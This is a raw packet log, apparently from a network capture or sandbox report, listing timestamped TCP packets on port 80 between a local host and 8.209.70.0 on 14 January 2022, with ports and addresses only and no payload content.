Jan 14, 2022 20:29:50.127348900 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127348900 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127374887 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127387047 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127401114 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127424955 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127434969 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127449989 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127476931 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127502918 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127515078 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127527952 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127541065 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127552032 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127574921 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127599955 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127612114 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127626896 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127638102 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127650976 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127676964 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127701998 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127721071 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127726078 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127748013 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127751112 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127774954 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127788067 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127800941 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127825022 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127850056 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127862930 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127875090 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127890110 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127897978 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127922058 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127947092 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127958059 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127979994 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127993107 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.128006935 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128031015 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128052950 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128066063 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.128077984 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128094912 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.128102064 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128128052 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128153086 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128165007 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.128176928 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128196955 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.128201008 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128225088 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.128237009 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145406961 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145428896 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145446062 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145476103 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145483971 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145500898 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145514011 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145518064 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145530939 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145541906 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145561934 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145584106 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145591974 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145622015 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145647049 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145668983 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145690918 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145708084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145723104 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145726919 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145745039 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145752907 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145767927 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145782948 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145792007 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145816088 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145832062 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145839930 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145884037 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145909071 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145925999 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145931959 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145947933 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.145955086 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145977020 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.145992994 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146029949 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146054029 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146075010 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146092892 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146092892 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146120071 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146127939 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146146059 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146162987 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146179914 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146184921 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146198988 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146212101 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146217108 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146234989 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146246910 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146253109 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146270990 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146274090 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146289110 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146306038 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146317005 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146322966 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146338940 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146342039 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146364927 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146382093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146393061 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146399021 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146415949 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146430016 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146441936 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146461010 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146462917 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146476984 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146493912 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146511078 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146517038 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146528959 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146547079 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146550894 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146564007 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146576881 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146578074 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146595001 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146609068 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146610975 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146626949 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146641970 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146645069 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146661043 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146665096 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146682024 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146698952 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146703959 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146717072 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146733999 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146734953 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146750927 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146768093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146785021 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146787882 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146801949 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146816015 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146821022 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146836996 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146845102 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146855116 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146872997 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146878958 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146902084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146924973 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146933079 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146949053 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146965981 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.146972895 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.146996975 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147021055 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147022009 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147047997 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147072077 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147079945 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147095919 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147105932 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147120953 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147147894 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147156954 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147172928 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147197008 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147222996 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147233963 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147248030 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147264004 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147273064 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147299051 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147322893 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147336006 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147347927 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147362947 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147376060 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147401094 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147413969 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147424936 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147449970 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147475004 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147478104 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147499084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147524118 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147524118 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147548914 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147573948 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147591114 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.147598982 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.147619009 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.162847996 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.162872076 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.162889004 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.162903070 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.162913084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.162939072 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.162940025 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.162965059 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.162967920 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.163013935 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.163038015 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.163054943 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.163096905 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.163105965 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.163124084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.163140059 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.163156033 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.163156986 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.163238049 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.163249016 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.164952993 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.164973974 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.164992094 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165014029 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165021896 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165034056 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165057898 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165062904 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165082932 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165096998 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165107012 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165117979 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165132046 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165146112 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165155888 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165170908 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165177107 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165190935 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.165201902 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165231943 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.165400028 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.166930914 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.166959047 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.166984081 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.166994095 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167009115 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167033911 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167036057 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167057991 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167068005 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167083025 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167092085 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167107105 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167123079 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167140961 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167165995 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167186975 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167191029 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167216063 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167217016 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167239904 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167244911 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167264938 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167267084 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167285919 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167289972 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167310953 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167315006 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167330027 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167340994 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167355061 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167368889 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167377949 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167393923 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167407036 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167421103 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167431116 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167445898 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167454958 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167469978 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167484045 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167495966 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167505026 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167521000 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167534113 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167545080 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167557955 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167571068 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167581081 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167594910 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167607069 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167619944 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167632103 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167644978 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167658091 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167670012 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167685032 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167695045 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167704105 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167718887 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167732000 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167752981 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167766094 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167779922 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167790890 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167804003 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167817116 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167829037 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167841911 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167854071 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167865038 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167879105 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167891979 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167905092 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167913914 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167929888 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167944908 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167954922 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167973042 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.167979956 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.167993069 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168004990 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168015957 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168030977 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168042898 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168056965 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168066025 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168082952 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168092966 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168107986 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168121099 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168133020 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168143988 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.168157101 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.168167114 CET	49870	80	192.168.2.4	8.209.70.0
